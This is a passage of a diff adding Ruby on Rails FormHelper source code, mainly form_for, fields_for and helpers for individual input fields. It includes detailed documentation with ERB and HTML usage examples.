+ # Creates a form that allows the user to create or update the attributes
+ # of a specific model object.
+ #
+ # The method can be used in several slightly different ways, depending on
+ # how much you wish to rely on Rails to infer automatically from the model
+ # how the form should be constructed. For a generic model object, a form
+ # can be created by passing +form_for+ a string or symbol representing
+ # the object we are concerned with:
+ #
+ # <%= form_for :person do |f| %>
+ # First name: <%= f.text_field :first_name %><br />
+ # Last name : <%= f.text_field :last_name %><br />
+ # Biography : <%= f.text_area :biography %><br />
+ # Admin? : <%= f.check_box :admin %><br />
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # The variable +f+ yielded to the block is a FormBuilder object that
+ # incorporates the knowledge about the model object represented by
+ # <tt>:person</tt> passed to +form_for+. Methods defined on the FormBuilder
+ # are used to generate fields bound to this model. Thus, for example,
+ #
+ # <%= f.text_field :first_name %>
+ #
+ # will get expanded to
+ #
+ # <%= text_field :person, :first_name %>
+ # which results in an html <tt><input></tt> tag whose +name+ attribute is
+ # <tt>person[first_name]</tt>. This means that when the form is submitted,
+ # the value entered by the user will be available in the controller as
+ # <tt>params[:person][:first_name]</tt>.
+ #
+ # For fields generated in this way using the FormBuilder,
+ # if <tt>:person</tt> also happens to be the name of an instance variable
+ # <tt>@person</tt>, the default value of the field shown when the form is
+ # initially displayed (e.g. in the situation where you are editing an
+ # existing record) will be the value of the corresponding attribute of
+ # <tt>@person</tt>.
+ #
+ # The rightmost argument to +form_for+ is an
+ # optional hash of options -
+ #
+ # * <tt>:url</tt> - The URL the form is to be submitted to. This may be
+ # represented in the same way as values passed to +url_for+ or +link_to+.
+ # So for example you may use a named route directly. When the model is
+ # represented by a string or symbol, as in the example above, if the
+ # <tt>:url</tt> option is not specified, by default the form will be
+ # sent back to the current url (We will describe below an alternative
+ # resource-oriented usage of +form_for+ in which the URL does not need
+ # to be specified explicitly).
+ # * <tt>:namespace</tt> - A namespace for your form to ensure uniqueness of
+ # id attributes on form elements. The namespace attribute will be prefixed
+ # with underscore on the generated HTML id.
+ # * <tt>:html</tt> - Optional HTML attributes for the form tag.
+ #
+ # Also note that +form_for+ doesn't create an exclusive scope. It's still
+ # possible to use both the stand-alone FormHelper methods and methods
+ # from FormTagHelper. For example:
+ #
+ # <%= form_for :person do |f| %>
+ # First name: <%= f.text_field :first_name %>
+ # Last name : <%= f.text_field :last_name %>
+ # Biography : <%= text_area :person, :biography %>
+ # Admin? : <%= check_box_tag "person[admin]", "1", @person.company.admin? %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # This also works for the methods in FormOptionHelper and DateHelper that
+ # are designed to work with an object as base, like
+ # FormOptionHelper#collection_select and DateHelper#datetime_select.
+ #
+ # === #form_for with a model object
+ #
+ # In the examples above, the object to be created or edited was
+ # represented by a symbol passed to +form_for+, and we noted that
+ # a string can also be used equivalently. It is also possible, however,
+ # to pass a model object itself to +form_for+. For example, if <tt>@post</tt>
+ # is an existing record you wish to edit, you can create the form using
+ #
+ # <%= form_for @post do |f| %>
+ # ...
+ # <% end %>
+ #
+ # This behaves in almost the same way as outlined previously, with a
+ # couple of small exceptions. First, the prefix used to name the input
+ # elements within the form (hence the key that denotes them in the +params+
+ # hash) is actually derived from the object's _class_, e.g. <tt>params[:post]</tt>
+ # if the object's class is +Post+. However, this can be overwritten using
+ # the <tt>:as</tt> option, e.g. -
+ #
+ # <%= form_for(@person, as: :client) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # would result in <tt>params[:client]</tt>.
+ #
+ # Secondly, the field values shown when the form is initially displayed
+ # are taken from the attributes of the object passed to +form_for+,
+ # regardless of whether the object is an instance
+ # variable. So, for example, if we had a _local_ variable +post+
+ # representing an existing record,
+ #
+ # <%= form_for post do |f| %>
+ # ...
+ # <% end %>
+ #
+ # would produce a form with fields whose initial state reflect the current
+ # values of the attributes of +post+.
+ #
+ # === Resource-oriented style
+ #
+ # In the examples just shown, although not indicated explicitly, we still
+ # need to use the <tt>:url</tt> option in order to specify where the
+ # form is going to be sent. However, further simplification is possible
+ # if the record passed to +form_for+ is a _resource_, i.e. it corresponds
+ # to a set of RESTful routes, e.g. defined using the +resources+ method
+ # in <tt>config/routes.rb</tt>. In this case Rails will simply infer the
+ # appropriate URL from the record itself. For example,
+ #
+ # <%= form_for @post do |f| %>
+ # ...
+ # <% end %>
+ #
+ # is then equivalent to something like:
+ #
+ # <%= form_for @post, as: :post, url: post_path(@post), method: :patch, html: { class: "edit_post", id: "edit_post_45" } do |f| %>
+ # ...
+ # <% end %>
+ #
+ # And for a new record
+ #
+ # <%= form_for(Post.new) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # is equivalent to something like:
+ #
+ # <%= form_for @post, as: :post, url: posts_path, html: { class: "new_post", id: "new_post" } do |f| %>
+ # ...
+ # <% end %>
+ #
+ # However you can still overwrite individual conventions, such as:
+ #
+ # <%= form_for(@post, url: super_posts_path) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # You can also set the answer format, like this:
+ #
+ # <%= form_for(@post, format: :json) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # For namespaced routes, like +admin_post_url+:
+ #
+ # <%= form_for([:admin, @post]) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # If your resource has associations defined, for example, you want to add comments
+ # to the document given that the routes are set correctly:
+ #
+ # <%= form_for([@document, @comment]) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # Where <tt>@document = Document.find(params[:id])</tt> and
+ # <tt>@comment = Comment.new</tt>.
+ #
+ # === Setting the method
+ #
+ # You can force the form to use the full array of HTTP verbs by setting
+ #
+ # method: (:get|:post|:patch|:put|:delete)
+ #
+ # in the options hash. If the verb is not GET or POST, which are natively
+ # supported by HTML forms, the form will be set to POST and a hidden input
+ # called _method will carry the intended verb for the server to interpret.
+ #
+ # === Unobtrusive JavaScript
+ #
+ # Specifying:
+ #
+ # remote: true
+ #
+ # in the options hash creates a form that will allow the unobtrusive JavaScript drivers to modify its
+ # behavior. The expected default behavior is an XMLHttpRequest in the background instead of the regular
+ # POST arrangement, but ultimately the behavior is the choice of the JavaScript driver implementor.
+ # Even though it's using JavaScript to serialize the form elements, the form submission will work just like
+ # a regular submission as viewed by the receiving side (all elements available in <tt>params</tt>).
+ #
+ # Example:
+ #
+ # <%= form_for(@post, remote: true) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # The HTML generated for this would be:
+ #
+ # <form action='http://www.example.com' method='post' data-remote='true'>
+ # <div style='margin:0;padding:0;display:inline'>
+ # <input name='_method' type='hidden' value='patch' />
+ # </div>
+ # ...
+ # </form>
+ #
+ # === Setting HTML options
+ #
+ # You can set data attributes directly by passing in a data hash, but all other HTML options must be wrapped in
+ # the HTML key. Example:
+ #
+ # <%= form_for(@post, data: { behavior: "autosave" }, html: { name: "go" }) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # The HTML generated for this would be:
+ #
+ # <form action='http://www.example.com' method='post' data-behavior='autosave' name='go'>
+ # <div style='margin:0;padding:0;display:inline'>
+ # <input name='_method' type='hidden' value='patch' />
+ # </div>
+ # ...
+ # </form>
+ #
+ # === Removing hidden model id's
+ #
+ # The form_for method automatically includes the model id as a hidden field in the form.
+ # This is used to maintain the correlation between the form data and its associated model.
+ # Some ORM systems do not use IDs on nested models so in this case you want to be able
+ # to disable the hidden id.
+ #
+ # In the following example the Post model has many Comments stored within it in a NoSQL database,
+ # thus there is no primary key for comments.
+ #
+ # Example:
+ #
+ # <%= form_for(@post) do |f| %>
+ # <%= f.fields_for(:comments, include_id: false) do |cf| %>
+ # ...
+ # <% end %>
+ # <% end %>
+ #
+ # === Customized form builders
+ #
+ # You can also build forms using a customized FormBuilder class. Subclass
+ # FormBuilder and override or define some more helpers, then use your
+ # custom builder. For example, let's say you made a helper to
+ # automatically add labels to form inputs.
+ #
+ # <%= form_for @person, url: { action: "create" }, builder: LabellingFormBuilder do |f| %>
+ # <%= f.text_field :first_name %>
+ # <%= f.text_field :last_name %>
+ # <%= f.text_area :biography %>
+ # <%= f.check_box :admin %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # In this case, if you use this:
+ #
+ # <%= render f %>
+ #
+ # The rendered template is <tt>people/_labelling_form</tt> and the local
+ # variable referencing the form builder is called
+ # <tt>labelling_form</tt>.
+ #
+ # The custom FormBuilder class is automatically merged with the options
+ # of a nested fields_for call, unless it's explicitly set.
+ #
+ # In many cases you will want to wrap the above in another helper, so you
+ # could do something like the following:
+ #
+ # def labelled_form_for(record_or_name_or_array, *args, &block)
+ # options = args.extract_options!
+ # form_for(record_or_name_or_array, *(args << options.merge(builder: LabellingFormBuilder)), &block)
+ # end
+ #
+ # If you don't need to attach a form to a model instance, then check out
+ # FormTagHelper#form_tag.
+ #
+ # === Form to external resources
+ #
+ # When you build forms to external resources sometimes you need to set an authenticity token or just render a form
+ # without it, for example when you submit data to a payment gateway number and types of fields could be limited.
+ #
+ # To set an authenticity token you need to pass an <tt>:authenticity_token</tt> parameter
+ #
+ # <%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f|
+ # ...
+ # <% end %>
+ #
+ # If you don't want to an authenticity token field be rendered at all just pass <tt>false</tt>:
+ #
+ # <%= form_for @invoice, url: external_url, authenticity_token: false do |f|
+ # ...
+ # <% end %>
+ def form_for(record, options = {}, &block)
+ raise ArgumentError, "Missing block" unless block_given?
+ html_options = options[:html] ||= {}
+
+ case record
+ when String, Symbol
+ object_name = record
+ object = nil
+ else
+ object = record.is_a?(Array) ? record.last : record
+ raise ArgumentError, "First argument in form cannot contain nil or be empty" unless object
+ object_name = options[:as] || model_name_from_record_or_class(object).param_key
+ apply_form_for_options!(record, object, options)
+ end
+
+ html_options[:data] = options.delete(:data) if options.has_key?(:data)
+ html_options[:remote] = options.delete(:remote) if options.has_key?(:remote)
+ html_options[:method] = options.delete(:method) if options.has_key?(:method)
+ html_options[:authenticity_token] = options.delete(:authenticity_token)
+
+ builder = instantiate_builder(object_name, object, options)
+ output = capture(builder, &block)
+ html_options[:multipart] ||= builder.multipart?
+
+ form_tag(options[:url] || {}, html_options) { output }
+ end
+
+ def apply_form_for_options!(record, object, options) #:nodoc:
+ object = convert_to_model(object)
+
+ as = options[:as]
+ action, method = object.respond_to?(:persisted?) && object.persisted? ? [:edit, :patch] : [:new, :post]
+ options[:html].reverse_merge!(
+ class: as ? "#{action}_#{as}" : dom_class(object, action),
+ id: as ? "#{action}_#{as}" : [options[:namespace], dom_id(object, action)].compact.join("_").presence,
+ method: method
+ )
+
+ options[:url] ||= polymorphic_path(record, format: options.delete(:format))
+ end
+ private :apply_form_for_options!
+
+ # Creates a scope around a specific model object like form_for, but
+ # doesn't create the form tags themselves. This makes fields_for suitable
+ # for specifying additional model objects in the same form.
+ #
+ # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
+ # its method signature is slightly different. Like +form_for+, it yields
+ # a FormBuilder object associated with a particular model object to a block,
+ # and within the block allows methods to be called on the builder to
+ # generate fields associated with the model object. Fields may reflect
+ # a model object in two ways - how they are named (hence how submitted
+ # values appear within the +params+ hash in the controller) and what
+ # default values are shown when the form the fields appear in is first
+ # displayed. In order for both of these features to be specified independently,
+ # both an object name (represented by either a symbol or string) and the
+ # object itself can be passed to the method separately -
+ #
+ # <%= form_for @person do |person_form| %>
+ # First name: <%= person_form.text_field :first_name %>
+ # Last name : <%= person_form.text_field :last_name %>
+ #
+ # <%= fields_for :permission, @person.permission do |permission_fields| %>
+ # Admin? : <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # In this case, the checkbox field will be represented by an HTML +input+
+ # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
+ # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
+ # If <tt>@person.permission</tt> is an existing record with an attribute
+ # +admin+, the initial state of the checkbox when first displayed will
+ # reflect the value of <tt>@person.permission.admin</tt>.
+ #
+ # Often this can be simplified by passing just the name of the model
+ # object to +fields_for+ -
+ #
+ # <%= fields_for :permission do |permission_fields| %>
+ # Admin?: <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # ...in which case, if <tt>:permission</tt> also happens to be the name of an
+ # instance variable <tt>@permission</tt>, the initial state of the input
+ # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
+ #
+ # Alternatively, you can pass just the model object itself (if the first
+ # argument isn't a string or symbol +fields_for+ will realize that the
+ # name has been omitted) -
+ #
+ # <%= fields_for @person.permission do |permission_fields| %>
+ # Admin?: <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # and +fields_for+ will derive the required name of the field from the
+ # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
+ # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
+ #
+ # Note: This also works for the methods in FormOptionHelper and
+ # DateHelper that are designed to work with an object as base, like
+ # FormOptionHelper#collection_select and DateHelper#datetime_select.
+ #
+ # === Nested Attributes Examples
+ #
+ # When the object belonging to the current scope has a nested attribute
+ # writer for a certain attribute, fields_for will yield a new scope
+ # for that attribute. This allows you to create forms that set or change
+ # the attributes of a parent object and its associations in one go.
+ #
+ # Nested attribute writers are normal setter methods named after an
+ # association. The most common way of defining these writers is either
+ # with +accepts_nested_attributes_for+ in a model definition or by
+ # defining a method with the proper name. For example: the attribute
+ # writer for the association <tt>:address</tt> is called
+ # <tt>address_attributes=</tt>.
+ #
+ # Whether a one-to-one or one-to-many style form builder will be yielded
+ # depends on whether the normal reader method returns a _single_ object
+ # or an _array_ of objects.
+ #
+ # ==== One-to-one
+ #
+ # Consider a Person class which returns a _single_ Address from the
+ # <tt>address</tt> reader method and responds to the
+ # <tt>address_attributes=</tt> writer method:
+ #
+ # class Person
+ # def address
+ # @address
+ # end
+ #
+ # def address_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # This model can now be used with a nested fields_for, like so:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :address do |address_fields| %>
+ # Street : <%= address_fields.text_field :street %>
+ # Zip code: <%= address_fields.text_field :zip_code %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # When address is already an association on a Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address
+ # end
+ #
+ # If you want to destroy the associated model through the form, you have
+ # to enable it first using the <tt>:allow_destroy</tt> option for
+ # +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address, allow_destroy: true
+ # end
+ #
+ # Now, when you use a form element with the <tt>_destroy</tt> parameter,
+ # with a value that evaluates to +true+, you will destroy the associated
+ # model (eg. 1, '1', true, or 'true'):
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :address do |address_fields| %>
+ # ...
+ # Delete: <%= address_fields.check_box :_destroy %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # ==== One-to-many
+ #
+ # Consider a Person class which returns an _array_ of Project instances
+ # from the <tt>projects</tt> reader method and responds to the
+ # <tt>projects_attributes=</tt> writer method:
+ #
+ # class Person
+ # def projects
+ # [@project1, @project2]
+ # end
+ #
+ # def projects_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # Note that the <tt>projects_attributes=</tt> writer method is in fact
+ # required for fields_for to correctly identify <tt>:projects</tt> as a
+ # collection, and the correct indices to be set in the form markup.
+ #
+ # When projects is already an association on Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects
+ # end
+ #
+ # This model can now be used with a nested fields_for. The block given to
+ # the nested fields_for call will be repeated for each instance in the
+ # collection:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # <% if project_fields.object.active? %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # It's also possible to specify the instance to be used:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <% @person.projects.each do |project| %>
+ # <% if project.active? %>
+ # <%= person_form.fields_for :projects, project do |project_fields| %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # Or a collection to be used:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # If you want to destroy any of the associated models through the
+ # form, you have to enable it first using the <tt>:allow_destroy</tt>
+ # option for +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects, allow_destroy: true
+ # end
+ #
+ # This will allow you to specify which models to destroy in the
+ # attributes hash by adding a form element for the <tt>_destroy</tt>
+ # parameter with a value that evaluates to +true+
+ # (eg. 1, '1', true, or 'true'):
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # Delete: <%= project_fields.check_box :_destroy %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # When a collection is used you might want to know the index of each
+ # object into the array. For this purpose, the <tt>index</tt> method
+ # is available in the FormBuilder object.
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # Project #<%= project_fields.index %>
+ # ...
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # Note that fields_for will automatically generate a hidden field
+ # to store the ID of the record. There are circumstances where this
+ # hidden field is not needed and you can pass <tt>hidden_field_id: false</tt>
+ # to prevent fields_for from rendering it automatically.
+ def fields_for(record_name, record_object = nil, options = {}, &block)
+ builder = instantiate_builder(record_name, record_object, options)
+ capture(builder, &block)
+ end
+
+ # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
+ # is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly.
+ # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
+ # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
+ # target labels for radio_button tags (where the value is used in the ID of the input tag).
+ #
+ # ==== Examples
+ # label(:post, :title)
+ # # => <label for="post_title">Title</label>
+ #
+ # You can localize your labels based on model and attribute names.
+ # For example you can define the following in your locale (e.g. en.yml)
+ #
+ # helpers:
+ # label:
+ # post:
+ # body: "Write your entire text here"
+ #
+ # Which then will result in
+ #
+ # label(:post, :body)
+ # # => <label for="post_body">Write your entire text here</label>
+ #
+ # Localization can also be based purely on the translation of the attribute-name
+ # (if you are using ActiveRecord):
+ #
+ # activerecord:
+ # attributes:
+ # post:
+ # cost: "Total cost"
+ #
+ # label(:post, :cost)
+ # # => <label for="post_cost">Total cost</label>
+ #
+ # label(:post, :title, "A short title")
+ # # => <label for="post_title">A short title</label>
+ #
+ # label(:post, :title, "A short title", class: "title_label")
+ # # => <label for="post_title" class="title_label">A short title</label>
+ #
+ # label(:post, :privacy, "Public Post", value: "public")
+ # # => <label for="post_privacy_public">Public Post</label>
+ #
+ # label(:post, :terms) do
+ # 'Accept <a href="/terms">Terms</a>.'.html_safe
+ # end
+ def label(object_name, method, content_or_options = nil, options = nil, &block)
+ Tags::Label.new(object_name, method, self, content_or_options, options).render(&block)
+ end
+
+ # Returns an input tag of the "text" type tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+ # shown.
+ #
+ # ==== Examples
+ # text_field(:post, :title, size: 20)
+ # # => <input type="text" id="post_title" name="post[title]" size="20" value="#{@post.title}" />
+ #
+ # text_field(:post, :title, class: "create_input")
+ # # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" class="create_input" />
+ #
+ # text_field(:session, :user, onchange: "if ($('#session_user').val() === 'admin') { alert('Your login can not be admin!'); }")
+ # # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange="if ($('#session_user').val() === 'admin') { alert('Your login can not be admin!'); }"/>
+ #
+ # text_field(:snippet, :code, size: 20, class: 'code_input')
+ # # => <input type="text" id="snippet_code" name="snippet[code]" size="20" value="#{@snippet.code}" class="code_input" />
+ def text_field(object_name, method, options = {})
+ Tags::TextField.new(object_name, method, self, options).render
+ end
+
+ # Returns an input tag of the "password" type tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+ # shown. For security reasons this field is blank by default; pass in a value via +options+ if this is not desired.
+ #
+ # ==== Examples
+ # password_field(:login, :pass, size: 20)
+ # # => <input type="password" id="login_pass" name="login[pass]" size="20" />
+ #
+ # password_field(:account, :secret, class: "form_input", value: @account.secret)
+ # # => <input type="password" id="account_secret" name="account[secret]" value="#{@account.secret}" class="form_input" />
+ #
+ # password_field(:user, :password, onchange: "if ($('#user_password').val().length > 30) { alert('Your password needs to be shorter!'); }")
+ # # => <input type="password" id="user_password" name="user[password]" onchange="if ($('#user_password').val().length > 30) { alert('Your password needs to be shorter!'); }"/>
+ #
+ # password_field(:account, :pin, size: 20, class: 'form_input')
+ # # => <input type="password" id="account_pin" name="account[pin]" size="20" class="form_input" />
+ def password_field(object_name, method, options = {})
+ Tags::PasswordField.new(object_name, method, self, options).render
+ end
+
+ # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+ # shown.
+ #
+ # ==== Examples
+ # hidden_field(:signup, :pass_confirm)
+ # # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
+ #
+ # hidden_field(:post, :tag_list)
+ # # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" />
+ #
+ # hidden_field(:user, :token)
+ # # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+ def hidden_field(object_name, method, options = {})
+ Tags::HiddenField.new(object_name, method, self, options).render
+ end
+
+ # Returns a file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+ # shown.
+ #
+ # Using this method inside a +form_for+ block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
+ #
+ # ==== Options
+ # * Creates standard HTML attributes for the tag.
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+ # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
+ #
+ # ==== Examples
+ # file_field(:user, :avatar)
+ # # => <input type="file" id="user_avatar" name="user[avatar]" />
+ #
+ # file_field(:post, :image, :multiple => true)
+ # # => <input type="file" id="post_image" name="post[image]" multiple="true" />
+ #
+ # file_field(:post, :attached, accept: 'text/html')
+ # # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
+ #
+ # file_field(:post, :image, accept: 'image/png,image/gif,image/jpeg')
+ # # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" />
+ #
+ # file_field(:attachment, :file, class: 'file_input')
+ # # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
+ def file_field(object_name, method, options = {})
+ Tags::FileField.new(object_name, method, self, options).render
+ end
+
+ # Returns a textarea opening and closing tag set tailored for accessing a specified attribute (identified by +method+)
+ # on an object assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+.
+ #
+ # ==== Examples
+ # text_area(:post, :body, cols: 20, rows: 40)
+ # # => <textarea cols="20" rows="40" id="post_body" name="post[body]">
+ # # #{@post.body}
+ # # </textarea>
+ #
+ # text_area(:comment, :text, size: "20x30")
+ # # => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+ # # #{@comment.text}
+ # # </textarea>
+ #
+ # text_area(:application, :notes, cols: 40, rows: 15, class: 'app_input')
+ # # => <textarea cols="40" rows="15" id="application_notes" name="application[notes]" class="app_input">
+ # # #{@application.notes}
+ # # </textarea>
+ #
+ # text_area(:entry, :body, size: "20x20", disabled: 'disabled')
+ # # => <textarea cols="20" rows="20" id="entry_body" name="entry[body]" disabled="disabled">
+ # # #{@entry.body}
+ # # </textarea>
+ def text_area(object_name, method, options = {})
+ Tags::TextArea.new(object_name, method, self, options).render
+ end
+
+ # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
+ # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked.
+ # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
+ # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
+ #
+ # ==== Gotcha
+ #
+ # The HTML specification says unchecked check boxes are not successful, and
+ # thus web browsers do not send them. Unfortunately this introduces a gotcha:
+ # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
+ # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
+ # any mass-assignment idiom like
+ #
+ # @invoice.update(params[:invoice])
+ #
+ # wouldn't update the flag.
+ #
+ # To prevent this the helper generates an auxiliary hidden field before
+ # the very check box. The hidden field has the same name and its
+ # attributes mimic an unchecked check box.
+ #
+ # This way, the client either sends only the hidden field (representing
+ # the check box is unchecked), or both fields. Since the HTML specification
+ # says key/value pairs have to be sent in the same order they appear in the
+ # form, and parameters extraction gets the last occurrence of any repeated
+ # key in the query string, that works for ordinary forms.
+ #
+ # Unfortunately that workaround does not work when the check box goes
+ # within an array-like parameter, as in
+ #
+ # <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
+ # <%= form.check_box :paid %>
+ # ...
+ # <% end %>
+ #
+ # because parameter name repetition is precisely what Rails seeks to distinguish
+ # the elements of the array. For each item with a checked check box you
+ # get an extra ghost item with only that attribute, assigned to "0".
+ #
+ # In that case it is preferable to either use +check_box_tag+ or to use
+ # hashes instead of arrays.
+ #
+ # # Let's say that @post.validated? is 1:
+ # check_box("post", "validated")
+ # # => <input name="post[validated]" type="hidden" value="0" />
+ # # <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
+ #
+ # # Let's say that @puppy.gooddog is "no":
+ # check_box("puppy", "gooddog", {}, "yes", "no")
+ # # => <input name="puppy[gooddog]" type="hidden" value="no" />
+ # # <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
+ #
+ # check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no")
+ # # => <input name="eula[accepted]" type="hidden" value="no" />
+ # # <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
+ def check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0")
+ Tags::CheckBox.new(object_name, method, self, checked_value, unchecked_value, options).render
+ end
+
+ # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
+ # radio button will be checked.
+ #
+ # To force the radio button to be checked pass <tt>checked: true</tt> in the
+ # +options+ hash. You may pass HTML options there as well.
+ #
+ # # Let's say that @post.category returns "rails":
+ # radio_button("post", "category", "rails")
+ # radio_button("post", "category", "java")
+ # # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+ # # <input type="radio" id="post_category_java" name="post[category]" value="java" />
+ #
+ # radio_button("user", "receive_newsletter", "yes")
+ # radio_button("user", "receive_newsletter", "no")
+ # # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
+ # # <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
+ def radio_button(object_name, method, tag_value, options = {})
+ Tags::RadioButton.new(object_name, method, self, tag_value, options).render
+ end
+
+ # Returns a text_field of type "color".
+ #
+ # color_field("car", "color")
+ # # => <input id="car_color" name="car[color]" type="color" value="#000000" />
+ def color_field(object_name, method, options = {})
+ Tags::ColorField.new(object_name, method, self, options).render
+ end
+
+ # Returns an input of type "search" for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object_name+). Inputs of type "search" may be styled differently by
+ # some browsers.
+ #
+ # search_field(:user, :name)
+ # # => <input id="user_name" name="user[name]" type="search" />
+ # search_field(:user, :name, autosave: false)
+ # # => <input autosave="false" id="user_name" name="user[name]" type="search" />
+ # search_field(:user, :name, results: 3)
+ # # => <input id="user_name" name="user[name]" results="3" type="search" />
+ # # Assume request.host returns "www.example.com"
+ # search_field(:user, :name, autosave: true)
+ # # => <input autosave="com.example.www" id="user_name" name="user[name]" results="10" type="search" />
+ # search_field(:user, :name, onsearch: true)
+ # # => <input id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
+ # search_field(:user, :name, autosave: false, onsearch: true)
+ # # => <input autosave="false" id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
+ # search_field(:user, :name, autosave: true, onsearch: true)
+ # # => <input autosave="com.example.www" id="user_name" incremental="true" name="user[name]" onsearch="true" results="10" type="search" />
+ def search_field(object_name, method, options = {})
+ Tags::SearchField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "tel".
+ #
